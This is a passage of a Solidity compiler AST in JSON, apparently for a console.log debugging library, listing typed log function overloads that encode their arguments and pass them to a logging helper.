\"log(bool,bool,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25503,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16357:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25504,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16361:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16357:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25509,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16357:61:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25502,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"16341:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25510,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16341:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25511,"nodeType":"ExpressionStatement","src":"16341:78:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16283:3:15","parameters":{"id":25500,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25495,"mutability":"mutable","name":"p0","nameLocation":"16292:2:15","nodeType":"VariableDeclaration","scope":25513,"src":"16287:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25494,"name":"bool","nodeType":"ElementaryTypeName","src":"16287:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25497,"mutability":"mutable","name":"p1","nameLocation":"16301:2:15","nodeType":"VariableDeclaration","scope":25513,"src":"16296:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25496,"name":"bool","nodeType":"ElementaryTypeName","src":"16296:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25499,"mutability":"mutable","name":"p2","nameLocation":"16313:2:15","nodeType":"VariableDeclaration","scope":25513,"src":"16305:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25498,"name":"uint256","nodeType":"ElementaryTypeName","src":"16305:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16286:30:15"},"returnParameters":{"id":25501,"nodeType":"ParameterList","parameters":[],"src":"16331:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25533,"nodeType":"FunctionDefinition","src":"16432:157:15","nodes":[],"body":{"id":25532,"nodeType":"Block","src":"16495:94:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e6729","id":25525,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16545:23:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2555fa465662416fc443b21c515f245dc550a66f7c658773f7bd7ad91c82f2cc","typeString":"literal_string \"log(bool,bool,string)\""},"value":"log(bool,bool,string)"},{"id":25526,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25515,"src":"16570:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25527,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25517,"src":"16574:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25528,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25519,"src":"16578:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2555fa465662416fc443b21c515f245dc550a66f7c658773f7bd7ad91c82f2cc","typeString":"literal_string \"log(bool,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25523,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16521:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25524,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16525:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16521:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25529,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16521:60:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25522,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"16505:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25530,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16505:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25531,"nodeType":"ExpressionStatement","src":"16505:77:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16441:3:15","parameters":{"id":25520,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25515,"mutability":"mutable","name":"p0","nameLocation":"16450:2:15","nodeType":"VariableDeclaration","scope":25533,"src":"16445:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25514,"name":"bool","nodeType":"ElementaryTypeName","src":"16445:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25517,"mutability":"mutable","name":"p1","nameLocation":"16459:2:15","nodeType":"VariableDeclaration","scope":25533,"src":"16454:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25516,"name":"bool","nodeType":"ElementaryTypeName","src":"16454:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25519,"mutability":"mutable","name":"p2","nameLocation":"16477:2:15","nodeType":"VariableDeclaration","scope":25533,"src":"16463:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25518,"name":"string","nodeType":"ElementaryTypeName","src":"16463:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"16444:36:15"},"returnParameters":{"id":25521,"nodeType":"ParameterList","parameters":[],"src":"16495:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25553,"nodeType":"FunctionDefinition","src":"16595:146:15","nodes":[],"body":{"id":25552,"nodeType":"Block","src":"16649:92:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c29","id":25545,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16699:21:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_50709698278bb02f656e4ac53a2ae8ef0ec4064d340360a5fa4d933e9a742590","typeString":"literal_string \"log(bool,bool,bool)\""},"value":"log(bool,bool,bool)"},{"id":25546,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25535,"src":"16722:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25547,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25537,"src":"16726:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25548,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25539,"src":"16730:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_50709698278bb02f656e4ac53a2ae8ef0ec4064d340360a5fa4d933e9a742590","typeString":"literal_string \"log(bool,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25543,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16675:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25544,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16679:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16675:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16675:58:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25542,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"16659:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25550,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16659:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25551,"nodeType":"ExpressionStatement","src":"16659:75:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16604:3:15","parameters":{"id":25540,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25535,"mutability":"mutable","name":"p0","nameLocation":"16613:2:15","nodeType":"VariableDeclaration","scope":25553,"src":"16608:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25534,"name":"bool","nodeType":"ElementaryTypeName","src":"16608:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25537,"mutability":"mutable","name":"p1","nameLocation":"16622:2:15","nodeType":"VariableDeclaration","scope":25553,"src":"16617:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25536,"name":"bool","nodeType":"ElementaryTypeName","src":"16617:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25539,"mutability":"mutable","name":"p2","nameLocation":"16631:2:15","nodeType":"VariableDeclaration","scope":25553,"src":"16626:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25538,"name":"bool","nodeType":"ElementaryTypeName","src":"16626:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"16607:27:15"},"returnParameters":{"id":25541,"nodeType":"ParameterList","parameters":[],"src":"16649:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25573,"nodeType":"FunctionDefinition","src":"16747:152:15","nodes":[],"body":{"id":25572,"nodeType":"Block","src":"16804:95:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c6164647265737329","id":25565,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16854:24:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1078f68da6ddbbe80f829fe8d54d1f2c6347e1ee4ec5a2a7a3a330ada9eccf81","typeString":"literal_string \"log(bool,bool,address)\""},"value":"log(bool,bool,address)"},{"id":25566,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25555,"src":"16880:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25567,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25557,"src":"16884:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25568,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25559,"src":"16888:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1078f68da6ddbbe80f829fe8d54d1f2c6347e1ee4ec5a2a7a3a330ada9eccf81","typeString":"literal_string \"log(bool,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25563,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16830:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25564,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16834:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16830:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16830:61:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25562,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"16814:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16814:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25571,"nodeType":"ExpressionStatement","src":"16814:78:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16756:3:15","parameters":{"id":25560,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25555,"mutability":"mutable","name":"p0","nameLocation":"16765:2:15","nodeType":"VariableDeclaration","scope":25573,"src":"16760:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25554,"name":"bool","nodeType":"ElementaryTypeName","src":"16760:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25557,"mutability":"mutable","name":"p1","nameLocation":"16774:2:15","nodeType":"VariableDeclaration","scope":25573,"src":"16769:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25556,"name":"bool","nodeType":"ElementaryTypeName","src":"16769:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25559,"mutability":"mutable","name":"p2","nameLocation":"16786:2:15","nodeType":"VariableDeclaration","scope":25573,"src":"16778:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25558,"name":"address","nodeType":"ElementaryTypeName","src":"16778:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"16759:30:15"},"returnParameters":{"id":25561,"nodeType":"ParameterList","parameters":[],"src":"16804:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25593,"nodeType":"FunctionDefinition","src":"16905:158:15","nodes":[],"body":{"id":25592,"nodeType":"Block","src":"16965:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e7432353629","id":25585,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17015:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5f7b9afb4f9ee9df3fee50155d0accfa23536f443bcbc89ec11f75df422d05ac","typeString":"literal_string \"log(bool,address,uint256)\""},"value":"log(bool,address,uint256)"},{"id":25586,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25575,"src":"17044:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25587,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25577,"src":"17048:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25588,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25579,"src":"17052:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5f7b9afb4f9ee9df3fee50155d0accfa23536f443bcbc89ec11f75df422d05ac","typeString":"literal_string \"log(bool,address,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25583,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"16991:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25584,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"16995:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"16991:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25589,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16991:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25582,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"16975:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25590,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16975:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25591,"nodeType":"ExpressionStatement","src":"16975:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"16914:3:15","parameters":{"id":25580,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25575,"mutability":"mutable","name":"p0","nameLocation":"16923:2:15","nodeType":"VariableDeclaration","scope":25593,"src":"16918:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25574,"name":"bool","nodeType":"ElementaryTypeName","src":"16918:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25577,"mutability":"mutable","name":"p1","nameLocation":"16935:2:15","nodeType":"VariableDeclaration","scope":25593,"src":"16927:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25576,"name":"address","nodeType":"ElementaryTypeName","src":"16927:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25579,"mutability":"mutable","name":"p2","nameLocation":"16947:2:15","nodeType":"VariableDeclaration","scope":25593,"src":"16939:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25578,"name":"uint256","nodeType":"ElementaryTypeName","src":"16939:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"16917:33:15"},"returnParameters":{"id":25581,"nodeType":"ParameterList","parameters":[],"src":"16965:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25613,"nodeType":"FunctionDefinition","src":"17069:163:15","nodes":[],"body":{"id":25612,"nodeType":"Block","src":"17135:97:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c737472696e6729","id":25605,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17185:26:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_de9a927090b15ed84eefc0c471675a23ce67fd75011b1652fe17ca2dd0dcd06d","typeString":"literal_string \"log(bool,address,string)\""},"value":"log(bool,address,string)"},{"id":25606,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25595,"src":"17213:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25607,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25597,"src":"17217:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25608,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25599,"src":"17221:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_de9a927090b15ed84eefc0c471675a23ce67fd75011b1652fe17ca2dd0dcd06d","typeString":"literal_string \"log(bool,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25603,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17161:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25604,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17165:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17161:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25609,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17161:63:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25602,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"17145:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25610,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17145:80:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25611,"nodeType":"ExpressionStatement","src":"17145:80:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17078:3:15","parameters":{"id":25600,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25595,"mutability":"mutable","name":"p0","nameLocation":"17087:2:15","nodeType":"VariableDeclaration","scope":25613,"src":"17082:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25594,"name":"bool","nodeType":"ElementaryTypeName","src":"17082:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25597,"mutability":"mutable","name":"p1","nameLocation":"17099:2:15","nodeType":"VariableDeclaration","scope":25613,"src":"17091:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25596,"name":"address","nodeType":"ElementaryTypeName","src":"17091:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25599,"mutability":"mutable","name":"p2","nameLocation":"17117:2:15","nodeType":"VariableDeclaration","scope":25613,"src":"17103:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25598,"name":"string","nodeType":"ElementaryTypeName","src":"17103:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"17081:39:15"},"returnParameters":{"id":25601,"nodeType":"ParameterList","parameters":[],"src":"17135:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25633,"nodeType":"FunctionDefinition","src":"17238:152:15","nodes":[],"body":{"id":25632,"nodeType":"Block","src":"17295:95:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c29","id":25625,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17345:24:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_18c9c746c9d0e38e4dc234ee76e678bbaa4e473eca3dce0969637d7f01e4a908","typeString":"literal_string \"log(bool,address,bool)\""},"value":"log(bool,address,bool)"},{"id":25626,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25615,"src":"17371:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25627,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25617,"src":"17375:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25628,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25619,"src":"17379:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_18c9c746c9d0e38e4dc234ee76e678bbaa4e473eca3dce0969637d7f01e4a908","typeString":"literal_string \"log(bool,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25623,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17321:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25624,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17325:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17321:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25629,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17321:61:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25622,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"17305:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 